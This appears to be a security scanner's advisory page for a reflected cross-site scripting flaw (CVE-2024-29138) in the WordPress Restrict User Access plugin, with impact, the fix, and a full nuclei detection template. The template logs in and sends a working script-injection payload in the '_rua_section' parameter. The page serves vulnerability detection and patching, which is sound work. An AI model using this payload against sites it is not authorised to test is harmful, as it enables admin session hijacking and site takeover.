WordPress Restrict User Access <= 2.5 - Cross-Site Scripting

mediumseverity

6.1CVSS score

0.6%likelihood of exploitation, next 30 days

50%of all CVEs are less likely

Readycheck to confirm it

WordPress Restrict User Access – Membership Plugin with Force versions before 2.6 is vulnerable to Reflected Cross-Site Scripting via the '_rua_section' parameter in the admin level edit page.

Impact

Attackers can execute arbitrary scripts in authenticated admin browsers, potentially leading to session hijacking, privilege escalation, WordPress admin account takeover, malicious plugin installation, and website defacement.

Fix

Update Restrict User Access plugin to version 2.6 or later.

How to confirm it

Send: POST /wp-login.php
Positive when: status_code == 302 and contains(header, 'wordpress_logged_in')
Send: POST /wp-admin/admin.php?page=wprua-level&action=edit
Positive when: status_code == 200 and contains(content_type, "text/html") and contains_all(body, "\"><svg onload=alert(document.domain)>","restrict-user-access")

Run it with nuclei: nuclei -id CVE-2024-29138 -u <target>

The full check

id: CVE-2024-29138

info:
  name: WordPress Restrict User Access <= 2.5 - Cross-Site Scripting
  author: Shivam Kamboj
  severity: medium
  description: |
    WordPress Restrict User Access – Membership Plugin with Force versions before 2.6 is vulnerable to Reflected Cross-Site Scripting via the '_rua_section' parameter in the admin level edit page.
  impact: |
    Attackers can execute arbitrary scripts in authenticated admin browsers, potentially leading to session hijacking, privilege escalation, WordPress admin account takeover, malicious plugin installation, and website defacement.
  remediation: |
    Update Restrict User Access plugin to version 2.6 or later.
  reference:
    - https://patchstack.com/database/wordpress/plugin/restrict-user-access/vulnerability/wordpress-restrict-user-access-plugin-2-5-reflected-cross-site-scripting-xss-vulnerability
    - https://nvd.nist.gov/vuln/detail/CVE-2024-29138
    - https://wordpress.org/plugins/restrict-user-access/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2024-29138
    epss-score: 0.00617
    epss-percentile: 0.49886
    cwe-id: CWE-79
  metadata:
    verified: true
    max-request: 2
    fofa-query: body="/plugins/restrict-user-access/"
  tags: cve,cve2024,wordpress,wp,wp-plugin,xss,authenticated,vkev,vuln

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In

    matchers:
      - type: dsl
        dsl:
          - status_code == 302
          - contains(header, 'wordpress_logged_in')
        condition: and
        internal: true

  - raw:
      - |
        POST /wp-admin/admin.php?page=wprua-level&action=edit HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        level_id=1&_rua_section="><svg onload=alert(document.domain)>

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "text/html")'
          - 'contains_all(body, "\"><svg onload=alert(document.domain)>","restrict-user-access")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from